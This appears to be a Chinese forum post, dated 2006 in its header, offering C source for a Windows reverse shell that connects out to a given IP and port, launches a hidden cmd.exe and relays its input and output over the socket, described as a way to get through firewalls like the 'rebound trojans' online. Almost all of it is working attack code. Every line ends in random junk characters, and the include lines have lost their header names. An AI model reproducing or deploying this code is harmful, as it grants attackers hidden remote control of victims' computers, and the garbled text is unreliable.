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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >`(]&o6<$  
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/* ============================== m#.N  
Rebound port in Windows NT A5[iFT>  
By wind,2006/7 Z_.xglq{  
===============================*/ V>Vu)7  
#include %ot4$ eY  
#include j}fu|-  
f\U(7)2  
#pragma comment(lib,"wsock32.lib") O-jpS?@  
Q^! x8oUF  
void OutputShell(); eN{ewn#0.  
SOCKET sClient; ]u<8j r  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; wX Kg^%t\  
ZD;1{  
void main(int argc,char **argv) sRkPXzK  
{ Xdtyer%  
WSADATA stWsaData; >Xv Fg  
int nRet; JK y0 6I  
SOCKADDR_IN stSaiClient,stSaiServer; xh`4s  
Mj5&vs~n;  
if(argc != 3) 7Z[6_WD3  
{ |\3X7)^8D  
printf("Useage:\n\rRebound DestIP DestPort\n"); vg;9"A!(  
return; uoi~JF  
} 1 ` ={* *  
' |Ia-RbX  
WSAStartup(MAKEWORD(2,2),&stWsaData); >%1mx\y^  
z=1N}l~|*  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6s(.u l  
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stSaiClient.sin_family = AF_INET; F*TkQ\y  
stSaiClient.sin_port = htons(0); TK s l.|  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ~;/}D0k$x  
*pj^d><  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) q:ah%x[  
{ >1S39n5z.  
printf("Bind Socket Failed!\n"); Bh ,GQHJ  
return; u%b.#!  
} 7Q>bJ Ek7  
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stSaiServer.sin_family = AF_INET; *w5xC5*  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); EAZLo;  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); '9XSz?  
/0z#0gNp  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,0\P r  
{ 7v]9) W=y  
printf("Connect Error!"); *c>B,  
return; !cNw 8"SIU  
} 0f9*=c  
OutputShell(); W!B\VB  
} |{V@t1`  
CXd/M~:!  
void OutputShell() JxmFUheLt  
{ #M@Ki1  
char szBuff[1024]; J-5E# v  
SECURITY_ATTRIBUTES stSecurityAttributes; [oD u3Qn  
OSVERSIONINFO stOsversionInfo; 2}0S%R(  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ~sMEfY,p  
STARTUPINFO stStartupInfo; [DD#YL\P  
char *szShell; u#)ARCx,w  
PROCESS_INFORMATION stProcessInformation; 5fY7[{ 2  
unsigned long lBytesRead; y134m  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 8>AST,  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); *o6hDhg  
stSecurityAttributes.lpSecurityDescriptor = 0; m5 l,Lxj  
stSecurityAttributes.bInheritHandle = TRUE; $A^OP{  
D* QZR;D#.  
A; Av0@w  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); P-?R\(QYtR  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 1<F6{?,z  
O#n=mJ  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); uWjEyxPv{  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |32uC3?o  
stStartupInfo.wShowWindow = SW_HIDE; +j(7.6ia  
stStartupInfo.hStdInput = hReadPipe; )R6-]TkA_  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; UH`cWVLpr  
9a$ 7$4m  
GetVersionEx(&stOsversionInfo); yn|U<Hxl~H  
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switch(stOsversionInfo.dwPlatformId) ]/[$3rPwZ  
{ w`X0^<Fv  
case 1: f,'^"Me$c  
szShell = "command.com"; tJII-\3"  
break; Dio)orc  
default: 9s&dN  
szShell = "cmd.exe"; C`["4  
break; {4>N2mP{M  
} ;( [^+_/  
zbAyYMtEk  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); mGh8/Xt  
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send(sClient,szMsg,77,0); W%@0Ym `7  
while(1) GQ6~Si2  
{ 5%]O'h  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); j7yUya&  
if(lBytesRead) \{. c0  
{ N) '|l0x0  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~; vt{pk  
send(sClient,szBuff,lBytesRead,0); r1[#_A`Yn  
} Bk@&k}0  
else l,ic-Y1  
{ .TO#\!KBv  
lBytesRead=recv(sClient,szBuff,1024,0); Ntlbn&lc;D  
if(lBytesRead<=0) break; e4<St`K  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); +[7 DRT:  
} 51 "v`O+  
} @me ( pnD  
g 9AA)Ykp  
return; 7_`_iymR  
}
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